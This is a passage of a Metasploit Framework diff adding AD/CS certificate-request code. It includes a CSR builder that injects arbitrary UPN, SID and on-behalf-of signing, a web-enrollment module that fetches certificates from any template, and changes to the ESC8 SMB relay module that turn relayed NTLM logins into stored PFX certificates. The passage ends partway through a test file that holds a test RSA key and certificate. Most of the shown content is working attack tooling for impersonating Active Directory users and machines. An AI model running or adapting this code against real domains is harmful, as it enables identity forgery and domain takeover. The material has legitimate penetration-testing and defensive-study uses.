Rex::Proto::X509::Request.create_csr(private_key, cn, algorithm) do |request|
extensions = []
subject_alt_names = []
subject_alt_names << "otherName = #{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn
if msext_sid
subject_alt_names << "URI = #{SAN_URL_PREFIX}#{msext_sid}"
subject_alt_names << "URI = #{msext_sid}"
end
subject_alt_names << "DNS = #{dns}" if dns
unless subject_alt_names.empty?
# factory.create_extension accepts a comma separated list of SANs or a config file of SANs.
# SAN_URL_PREFIX in the URI SAN contains a comma so we create a config file and add it to the factory
# The config file requires an identifier we define at the top of the file [alt_names]
subject_alt_names.prepend("[alt_names]")
subject_alt_names_conf = subject_alt_names.join("\n")
config = OpenSSL::Config.parse(subject_alt_names_conf)
factory = OpenSSL::X509::ExtensionFactory.new
factory.config = config
extensions << factory.create_extension('subjectAltName', '@alt_names', false)
end
if msext_sid
ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: {
type_id: OID_NTDS_OBJECTSID,
value: msext_sid
})
extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false)
end
unless application_policies.blank?
application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new(
certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) }
)
extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false)
end
unless extensions.empty?
request.add_attribute(OpenSSL::X509::Attribute.new(
'extReq',
OpenSSL::ASN1::Set.new(
[OpenSSL::ASN1::Sequence.new(extensions)]
)
))
end
end
end
# Make a certificate request on behalf of another user.
#
# @param [OpenSSL::X509::Request] csr The certificate request to make on behalf of the user.
# @param [String] on_behalf_of The user to make the request on behalf of.
# @param [OpenSSL::X509::Certificate] cert The public key to use for signing the request.
# @param [OpenSSL::PKey::RSA] key The private key to use for signing the request.
# @param [String] algorithm The digest algorithm to use.
# @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed request content.
def self.build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
# algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined
digest = OpenSSL::Digest.new(algorithm)
unless [ digest.name, "RSAWith#{digest.name}" ].all? { |s| Rex::Proto::Kerberos::Model::OID.constants.include?(s.to_sym) }
raise ArgumentError, "Can not map digest algorithm #{digest.name} to the necessary OIDs."
end
digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name)
signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
version: 1,
sid: {
issuer: cert.issuer,
serial_number: cert.serial.to_i
},
digest_algorithm: {
algorithm: digest_oid
},
signed_attrs: [
{
attribute_type: OID_ENROLLMENT_NAME_VALUE_PAIR,
attribute_values: [
RASN1::Types::Any.new(value: Rex::Proto::CryptoAsn1::EnrollmentNameValuePair.new(
name: 'requestername',
value: on_behalf_of
))
]
},
{
attribute_type: Rex::Proto::Kerberos::Model::OID::MessageDigest,
attribute_values: [RASN1::Types::Any.new(value: RASN1::Types::OctetString.new(value: digest.digest(csr.to_der)))]
}
],
signature_algorithm: {
algorithm: Rex::Proto::Kerberos::Model::OID.const_get("RSAWith#{digest.name}")
}
)
data = RASN1::Types::Set.new(value: signer_info[:signed_attrs].value).to_der
signature = key.sign(digest, data)
signer_info[:signature] = signature
signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
version: 3,
digest_algorithms: [
{
algorithm: digest_oid
}
],
encap_content_info: {
econtent_type: Rex::Proto::Kerberos::Model::OID::PkinitAuthData,
econtent: csr.to_der
},
certificates: [{ openssl_certificate: cert }],
signer_infos: [signer_info]
)
Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
data: signed_data
)
end
end
end
@@ -0,0 +1,160 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::WebEnrollment
include Msf::Auxiliary::Scanner
def initialize(_info = {})
super({
'Name' => 'AD/CS Authenticated Web Enrollment Services Module',
'Description' => %q{
Authenticates to the AD/CS Web enrollment service and allows the user to query templates and create
certificates based on available templates.
},
'Author' => [
'bwatters-r7',
'jhicks-r7', # query for available certs
'Spencer McIntyre'
],
'License' => MSF_LICENSE
})
deregister_options('HttpUsername', 'HttpPassword')
register_options([
Opt::RPORT(80),
OptString.new('HttpUsername', [false, 'The HTTP username to specify for authentication', '']),
OptString.new('HttpPassword', [false, 'The HTTP password to specify for authentication', '']),
OptEnum.new('MODE', [ true, 'The issue mode.', 'SPECIFIC_TEMPLATE', %w[ALL QUERY_ONLY SPECIFIC_TEMPLATE]]),
OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]),
OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ])
])
register_advanced_options([
OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ])
])
@issued_certs = {}
end
def validate
super
case datastore['MODE']
when 'SPECIFIC_TEMPLATE'
if datastore['CERT_TEMPLATE'].blank?
raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' })
end
when 'ALL', 'QUERY_ONLY'
unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
print_warning('CERT_TEMPLATE is ignored in ALL and QUERY_ONLY modes.')
end
end
setup
end
def pull_domain(target_ip, target_uri)
temp_username = datastore['HttpUsername']
temp_password = datastore['HttpPassword']
begin
vprint_status("Checking #{target_ip} URL #{target_uri}")
# datastore and options must be nil to fail login so we get ntlm challenge
datastore['HttpUsername'] = nil
datastore['HttpPassword'] = nil
res = send_request_cgi({
'rhost' => target_ip,
'encode' => true,
'username' => nil,
'password' => nil,
'uri' => normalize_uri(target_uri),
'method' => 'GET',
'headers' => { 'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==' }
})
rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
vprint_error('Unable to Connect')
return
rescue ::Timeout::Error, ::Errno::EPIPE
vprint_error('Timeout error')
return
ensure
datastore['HttpUsername'] = temp_username
datastore['HttpPassword'] = temp_password
end
datastore['HttpUsername'] = temp_username
datastore['HttpPassword'] = temp_password
return nil if res.nil?
unless res && res.code == 401
print_bad("Incorrect status code returned checking for domain: #{res.code}")
return nil
end
unless res['WWW-Authenticate']
print_bad('Target does not appear to support Windows Authentication.')
return nil
end
unless res['WWW-Authenticate'].match(/^NTLM/i)
print_bad('Target does not appear to support NTLM.')
return nil
end
hash = res['WWW-Authenticate'].split('NTLM ')[1]
return nil if hash.nil?
# Parse out the NTLM and get the Target Information Data containing the domain name
begin
message = Net::NTLM::Message.parse(Base64.decode64(hash))
ti = Net::NTLM::TargetInfo.new(message.target_info)
ti.av_pairs[Net::NTLM::TargetInfo::MSV_AV_NB_DOMAIN_NAME]
rescue StandardError => e
vprint_error("Failed to parse NTLM challenge: #{e.class}: #{e}")
nil
end
end
def run_host(target_ip)
validate
if datastore['HTTP::Auth'] == 'ntlm' || datastore['HTTP::Auth'] == 'auto'
queried_domain = pull_domain(target_ip, target_uri)
if queried_domain.nil?
fail_with(Failure::UnexpectedReply, 'Failed to automatically populate DOMAIN; please do so manually and retry')
end
# The queried_domain value is coming is as a UTF-16LE string encoded in ASCII 8-bit.
# We need to normalize it so we can do the string compares later
datastore_domain = datastore['DOMAIN']
queried_domain.force_encoding('UTF-16LE')
queried_domain = queried_domain.encode(datastore_domain.encoding)
if datastore['DOMAIN'] != 'WORKSTATION' && queried_domain != datastore_domain
fail_with(Failure::UnexpectedReply, "Server claims to be a member of #{queried_domain} domain and does not match the datastore domain entry #{datastore['DOMAIN']}")
end
connection_identity = queried_domain + '\\' + datastore['HttpUsername']
end
http_client = connect(
{
'rhost' => target_ip,
'method' => 'GET',
'uri' => normalize_uri(target_uri),
'headers' => {
'Accept-Encoding' => 'identity'
}
}
)
case datastore['MODE']
when 'ALL', 'QUERY_ONLY'
cert_templates = get_cert_templates(http_client)
unless cert_templates.nil? || cert_templates.empty?
print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
print_good("Available Certificates for #{connection_identity} on #{datastore['RHOST']}: #{cert_templates.join(', ')}")
if datastore['MODE'] == 'ALL'
retrieve_certs(target_ip, http_client, connection_identity, cert_templates)
end
end
when 'SPECIFIC_TEMPLATE'
cert_template = datastore['CERT_TEMPLATE']
retrieve_cert(target_ip, http_client, connection_identity, cert_template)
end
end
end
+16 -105
View File
@@ -6,6 +6,7 @@
class MetasploitModule < Msf::Auxiliary
include ::Msf::Exploit::Remote::SMB::RelayServer
include ::Msf::Exploit::Remote::HttpClient
include ::Msf::Exploit::Remote::HTTP::WebEnrollment
def initialize(_info = {})
super({
@@ -27,6 +28,7 @@ class MetasploitModule < Msf::Auxiliary
],
'License' => MSF_LICENSE,
'Actions' => [[ 'Relay', { 'Description' => 'Run SMB ESC8 relay server' } ]],
'DefaultOptions' => { 'HTTP::Auth' => 'ntlm' },
'PassiveActions' => [ 'Relay' ],
'DefaultAction' => 'Relay'
})
@@ -44,6 +46,7 @@ class MetasploitModule < Msf::Auxiliary
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
]
)
@issued_certs = {}
end
def relay_targets
@@ -87,22 +90,28 @@ class MetasploitModule < Msf::Auxiliary
end
def validate
super
errors = {}
unless datastore['HTTP::Auth'] == 'ntlm'
errors['HTTP::Auth'] = 'This module only supports NTLM authentication.'
end
case datastore['MODE']
when 'SPECIFIC_TEMPLATE'
if datastore['CERT_TEMPLATE'].blank?
raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' })
errors['CERT_TEMPLATE'] = 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE.'
end
when 'ALL', 'AUTO', 'QUERY_ONLY'
unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
print_warning('CERT_TEMPLATE is ignored in ALL, AUTO, and QUERY_ONLY modes.')
end
end
raise OptionValidateError, errors unless errors.empty?
super
end
def run
@issued_certs = {}
relay_targets.each do |target|
vprint_status("Checking endpoint on #{target}")
check_code = check_host(target.ip)
@@ -119,125 +128,27 @@ class MetasploitModule < Msf::Auxiliary
end
def on_relay_success(relay_connection:, relay_identity:)
target_ip = relay_connection.target.ip
case datastore['MODE']
when 'AUTO'
cert_template = relay_identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User']
retrieve_certs(relay_connection, relay_identity, cert_template)
retrieve_certs(target_ip, relay_connection, relay_identity, cert_template)
when 'ALL', 'QUERY_ONLY'
cert_templates = get_cert_templates(relay_connection)
unless cert_templates.nil? || cert_templates.empty?
print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
print_good("Available Certificates for #{relay_identity} on #{datastore['RELAY_TARGET']}: #{cert_templates.join(', ')}")
if datastore['MODE'] == 'ALL'
retrieve_certs(relay_connection, relay_identity, cert_templates)
retrieve_certs(target_ip, relay_connection, relay_identity, cert_templates)
end
end
when 'SPECIFIC_TEMPLATE'
cert_template = datastore['CERT_TEMPLATE']
retrieve_cert(relay_connection, relay_identity, cert_template)
retrieve_cert(target_ip, relay_connection, relay_identity, cert_template)
end
vprint_status('Relay tasks complete; waiting for next login attempt.')
relay_connection.disconnect!
end
def create_csr(private_key, cert_template)
vprint_status('Generating CSR...')
request = Rex::Proto::X509::Request.create_csr(private_key, cert_template)
vprint_status('CSR Generated')
request
end
def get_cert_templates(relay_connection)
print_status('Retrieving available template list, this may take a few minutes')
res = send_request_raw(
{
'client' => relay_connection,
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'certrqxt.asp')
}
)
return nil unless res&.code == 200
cert_templates = res.body.scan(/^.*Option Value="[E|O];(.*?);/).map(&:first)
print_bad('Found no available certificate templates') if cert_templates.empty?
cert_templates
end
def add_cert_entry(relay_identity, cert_template)
if @issued_certs.key?(relay_identity)
@issued_certs[relay_identity] << cert_template
else
@issued_certs[relay_identity] = [ cert_template ]
end
end
def retrieve_certs(relay_connection, relay_identity, cert_templates)
cert_templates.each do |cert_template|
retrieve_cert(relay_connection, relay_identity, cert_template)
end
end
def cert_issued?(relay_identity, cert_template)
!!@issued_certs[relay_identity]&.include?(cert_template)
end
def retrieve_cert(relay_connection, relay_identity, cert_template)
if cert_issued?(relay_identity, cert_template)
print_status("Certificate already created for #{relay_identity} using #{cert_template}, skipping...")
return nil
end
vprint_status("Creating certificate request for #{relay_identity} using the #{cert_template} template")
private_key = OpenSSL::PKey::RSA.new(4096)
request = create_csr(private_key, cert_template)
cert_template_string = "CertificateTemplate:#{cert_template}"
vprint_status('Requesting relay target generate certificate...')
res = send_request_raw(
{
'client' => relay_connection,
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'certfnsh.asp'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'Mode' => 'newreq',
'CertRequest' => request.to_s,
'CertAttrib' => cert_template_string,
'TargetStoreFlags' => 0,
'SaveCert' => 'yes',
'ThumbPrint' => ''
},
'cgi' => true
}
)
if res&.code == 200 && !res.body.include?('request was denied')
print_good("Certificate generated using template #{cert_template} and #{relay_identity}")
add_cert_entry(relay_identity, cert_template)
else
print_bad("Certificate request denied using template #{cert_template} and #{relay_identity}")
return nil
end
location_tag = res.body.match(/^.*location="(.*)"/)[1]
location_uri = normalize_uri(target_uri, location_tag)
vprint_status("Attempting to download the certificate from #{location_uri}")
res = send_request_raw(
{
'client' => relay_connection,
'method' => 'GET',
'uri' => location_uri
}
)
info = "#{relay_identity} Certificate"
certificate = OpenSSL::X509::Certificate.new(res.body)
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, certificate)
stored_path = store_loot('windows.ad.cs',
'application/x-pkcs12',
relay_connection.target.ip,
pkcs12.to_der,
'certificate.pfx',
info)
print_good("Certificate for #{relay_identity} using template #{cert_template} saved to #{stored_path}")
certificate
end
end
@@ -0,0 +1,366 @@
# frozen_string_literal: true
require 'spec_helper'
require 'msf/core/exploit/remote/cert_request'
RSpec.describe Msf::Exploit::Remote::CertRequest do
include_context 'Msf::Simple::Framework'
subject do
mod = ::Msf::Exploit.new
mod.extend described_class
mod
end
before(:each) do
allow(subject).to receive(:framework).and_return(framework)
allow(subject).to receive(:vprint_status)
end
let(:rsa_key) do
OpenSSL::PKey::RSA.new(<<~KEY)
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN
Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM
MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI
G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7
3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6
B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9
OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX
pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm
/hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs
5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx
VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h
SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94
MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX
xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5
hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g
m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ
/NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt
NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib
KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M
IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG
2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe
VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+
syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8
aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO
C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA==
-----END RSA PRIVATE KEY-----
KEY
end
let(:pkcs12_certificate) do
OpenSSL::X509::Certificate.new(<<~CERTIFICATE)
-----BEGIN CERTIFICATE-----
MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF
ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs
YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx
MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk
ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs
ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9
j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg
6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l
l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD
jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx
idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4
MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU
uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk
YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL
ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z
ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq
ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv
MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD
Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw
PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX
hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG
CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH
AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud
EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp
ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB
oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx
MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC
AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx
2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp
rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN
3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL
bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu
bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ
MPqLl/D4OpKpcKz8
-----END CERTIFICATE-----
CERTIFICATE
end
describe '#create_csr' do
context 'with a private key supplied via opts' do
it 'returns an OpenSSL::X509::Request' do
result = subject.create_csr(username: 'alice', private_key: rsa_key)
expect(result).to be_a(OpenSSL::X509::Request)
end
it 'signs the CSR with the provided key' do
result = subject.create_csr(username: 'alice', private_key: rsa_key)
expect(result.verify(rsa_key.public_key)).to be true
end
it 'sets the CN to the provided username' do
result = subject.create_csr(username: 'alice', private_key: rsa_key)
expect(result.subject.to_s).to include('alice')
end
context 'when the key size matches the expected rsa_key_size' do
it 'does not log an error' do
expect(subject).not_to receive(:elog)
subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 2048)
end
it 'returns a CSR' do
result = subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 2048)
expect(result).to be_a(OpenSSL::X509::Request)
end
end
context 'when the key size does not match the expected rsa_key_size' do
it 'logs an error' do
expect(subject).to receive(:elog).with('RSA key size mismatch')
expect { subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 4096) }.to raise_error(ArgumentError)
end
it 'raises ArgumentError' do
expect { subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 4096) }.to raise_error(ArgumentError, /RSA key size mismatch/)
end
it 'does not build a CSR' do
expect(Rex::Proto::X509::Request).not_to receive(:build_csr)
expect { subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 4096) }.to raise_error(ArgumentError)
end
end
context 'when the key size does not match the datastore rsa_key_size' do
before { subject.datastore['RSAKeySize'] = '4096' }
it 'raises ArgumentError' do
expect { subject.create_csr(username: 'alice', private_key: rsa_key) }.to raise_error(ArgumentError, /RSA key size mismatch/)
end
end
end
context 'when no private key is supplied' do
it 'generates a new RSA key' do
expect(OpenSSL::PKey::RSA).to receive(:new).with(2048).and_return(rsa_key)
subject.create_csr(username: 'alice')
end
it 'returns a valid OpenSSL::X509::Request' do
result = subject.create_csr(username: 'alice')
expect(result).to be_a(OpenSSL::X509::Request)
end
end
context 'with rsa_key_size supplied via opts' do
it 'generates a key with the specified size' do
allow(rsa_key).to receive(:n).and_return(double('OpenSSL::BN', num_bits: 4096))
expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_return(rsa_key)
subject.create_csr(username: 'alice', rsa_key_size: 4096)
end
end
context 'with rsa_key_size supplied via datastore' do
before { subject.datastore['RSAKeySize'] = '4096' }
it 'generates a key with the datastore size' do
allow(rsa_key).to receive(:n).and_return(double('OpenSSL::BN', num_bits: 4096))
expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_return(rsa_key)
subject.create_csr(username: 'alice')
end
end
context 'with algorithm supplied via opts' do
it 'passes the algorithm to build_csr' do
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(algorithm: 'SHA512')).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key, algorithm: 'SHA512')
end
end
context 'with algorithm supplied via datastore' do
before { subject.datastore['DigestAlgorithm'] = 'SHA512' }
it 'passes the datastore algorithm to build_csr' do
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(algorithm: 'SHA512')).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key)
end
end
context 'with alt_dns supplied via opts' do
it 'passes alt_dns to build_csr' do
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(dns: 'host.example.com')).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key, alt_dns: 'host.example.com')
end
end
context 'with alt_dns supplied via datastore' do
before { subject.datastore['ALT_DNS'] = 'host.example.com' }
it 'passes alt_dns from the datastore to build_csr' do
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(dns: 'host.example.com')).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key)
end
end
context 'with alt_upn supplied via opts' do
it 'passes alt_upn to build_csr' do
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_upn: 'alice@example.com')).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key, alt_upn: 'alice@example.com')
end
end
context 'with alt_upn supplied via datastore' do
before { subject.datastore['ALT_UPN'] = 'alice@example.com' }
it 'passes alt_upn from the datastore to build_csr' do
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_upn: 'alice@example.com')).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key)
end
end
context 'with alt_sid supplied via opts' do
it 'passes alt_sid to build_csr' do
sid = 'S-1-5-21-1234567890-1234567890-1234567890-500'
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_sid: sid)).and_return(double('csr', to_der: ''))
subject.create_csr(username: 'alice', private_key: rsa_key, alt_sid: sid)
end
end
context 'with alt_sid supplied via datastore' do
let(:sid) { 'S-1-5-21-1234567890-1234567890-1234567890-500' }
before { subject.datastore['ALT_SID'] = sid }
it 'passes alt_sid from the datastore to build_csr' do
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_sid: sid)).and_return(double('csr', to_der: ''))
subject.create_csr(username: 'alice', private_key: rsa_key)
end
end
context 'with application policies supplied via opts' do
it 'passes application policies to build_csr' do
policies = ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4']
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(application_policies: policies)).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key, add_cert_app_policy: policies)
end
end
context 'with application policies supplied via datastore as semicolon-separated string' do
before { subject.datastore['ADD_CERT_APP_POLICY'] = '1.3.6.1.5.5.7.3.2;1.3.6.1.5.5.7.3.4' }
it 'splits and passes application policies from datastore to build_csr' do
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(
hash_including(application_policies: ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4'])
).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key)
end
end
context 'with application policies supplied via datastore as comma-separated string' do
before { subject.datastore['ADD_CERT_APP_POLICY'] = '1.3.6.1.5.5.7.3.2, 1.3.6.1.5.5.7.3.4' }
it 'splits and passes application policies from datastore to build_csr' do
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(
hash_including(application_policies: ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4'])
).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key)
end
end
context 'with pkcs12 and on_behalf_of supplied via opts' do
let(:pkcs12) do
pkcs12_obj = double('OpenSSL::PKCS12')
allow(pkcs12_obj).to receive(:certificate).and_return(pkcs12_certificate)
allow(pkcs12_obj).to receive(:key).and_return(rsa_key)
pkcs12_obj
end
it 'calls build_on_behalf_of and returns a ContentInfo object' do
result = subject.create_csr(
username: 'alice',
private_key: rsa_key,
pkcs12: pkcs12,
